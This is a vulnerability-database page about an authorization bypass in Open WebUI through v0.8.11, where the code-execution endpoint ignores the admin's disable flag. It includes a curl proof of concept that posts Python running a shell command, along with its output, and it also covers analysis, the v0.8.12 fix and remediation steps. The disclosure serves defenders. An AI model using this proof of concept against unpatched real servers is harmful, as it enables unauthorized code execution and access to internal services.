Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The /api/v1/utils/code/execute endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set ENABLE_CODE_EXECUTION=false. The feature gate is not enforced on the API endpoint - the configuration says "disabled" but code still executes.
Details
The admin configuration correctly shows ENABLE_CODE_EXECUTION: false. However, the code execution endpoint does not check this flag before forwarding Python code to the Jupyter server. Any authenticated user can execute arbitrary code in the Jupyter container.
PoC
Verified against Open WebUI v0.8.11 (latest) Docker on 2026-03-25.
Setup: Jupyter server connected, ENABLE_CODE_EXECUTION=false confirmed in admin config.
# Step 1: Verify code execution is disabled
curl -s http://target:8080/api/v1/configs/code_execution \
-H "Authorization: Bearer $TOKEN"
# Returns: {"ENABLE_CODE_EXECUTION": false, ...}
# Step 2: Execute code anyway - gate bypassed
curl -s -X POST http://target:8080/api/v1/utils/code/execute \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"code":"import os; print(os.popen(\"id\").read())"}'Verified output:
Config: {"ENABLE_CODE_EXECUTION":false,"CODE_EXECUTION_ENGINE":"jupyter",...}
execute_status=200
execute_body={"stdout":"OPEN-WEBUI-SSRF-SECRET","stderr":"","result":""}The PoC read the internal secret service content via Jupyter - despite ENABLE_CODE_EXECUTION=false. The Jupyter container has network access to internal services, making this both a code execution bypass and an SSRF vector.
Impact
Any authenticated user can execute arbitrary Python code in the Jupyter container, even when the admin has explicitly disabled code execution:
- Arbitrary code execution in the Jupyter container (read files, spawn processes)
- Network access to all internal Docker services from the Jupyter container
- Data exfiltration from internal services
- The admin's security configuration (
ENABLE_CODE_EXECUTION=false) is silently ineffective - Users who are told "code execution is disabled" have a false sense of security
Resolution
Fixed in commit 6d736d3c5, first released in v0.8.12. The /api/v1/utils/code/execute handler in backend/open_webui/routers/utils.py now checks request.app.state.config.ENABLE_CODE_EXECUTION before dispatching to the Jupyter engine and returns 403 with FEATURE_DISABLED('Code execution') when the admin has disabled the flag. The retrieval-side code path was gated in the same commit. Users on >= 0.8.12 are not affected.
AnalysisAI
Open WebUI versions through 0.8.11 allow authenticated users to execute arbitrary Python code in the Jupyter container by bypassing the ENABLE_CODE_EXECUTION=false configuration flag. The /api/v1/utils/code/execute endpoint fails to enforce the admin-configured feature gate (CWE-863: Incorrect Authorization), enabling any verified user to run code even when administrators believe execution is disabled. The vulnerability is confirmed by vendor POC (verified 2026-03-25) demonstrating successful code execution, file access, and SSRF to internal Docker services despite explicit admin configuration disabling the feature. Vendor-released patch available in v0.8.12 (commit 6d736d3c5) enforces the configuration check before dispatching code to Jupyter.
Technical ContextAI
Open WebUI is a Python-based web interface for large language models with optional Jupyter integration for code execution. The vulnerability stems from CWE-863 (Incorrect Authorization) in the backend Flask/FastAPI application where the /api/v1/utils/code/execute endpoint in backend/open_webui/routers/utils.py forwards user-supplied Python code to the Jupyter kernel without validating the request.app.state.config.ENABLE_CODE_EXECUTION flag. The architecture uses Docker containers with Open WebUI frontend/backend in one container and Jupyter server in another with shared Docker network access. The missing authorization check creates a gap between the admin UI configuration state (which correctly displays ENABLE_CODE_EXECUTION: false) and the actual API enforcement layer, allowing the configuration to be silently bypassed. The CVSS vector AV:N/AC:L/PR:L indicates network-accessible exploitation requiring only low-privilege authentication (any verified user account), with S:U (unchanged scope) meaning the code executes within the Jupyter container boundary, though with network access to other internal services.
RemediationAI
Upgrade to Open WebUI version 0.8.12 or later, which enforces the ENABLE_CODE_EXECUTION configuration check before dispatching code to Jupyter (vendor patch commit 6d736d3c598dbe49488675ed42845e00b62dfcba, released 2026-03-25). The fix adds request.app.state.config.ENABLE_CODE_EXECUTION validation in backend/open_webui/routers/utils.py, returning HTTP 403 with 'Code execution is disabled' when the flag is false. Release notes and patched version available at https://github.com/open-webui/open-webui/releases/tag/v0.8.12. For environments unable to upgrade immediately, disable Jupyter integration entirely by removing Jupyter container configuration and restarting Open WebUI - this eliminates the attack surface but also removes legitimate code execution features for all users. Network segmentation to isolate the Jupyter container from sensitive internal services reduces SSRF impact but does not prevent code execution within the container itself (file access, process spawning remain possible). Verify patch application by confirming the /api/v1/utils/code/execute endpoint returns 403 when ENABLE_CODE_EXECUTION=false rather than executing code.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-863 – Incorrect Authorization
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-30638
GHSA-482j-2pq6-q5w4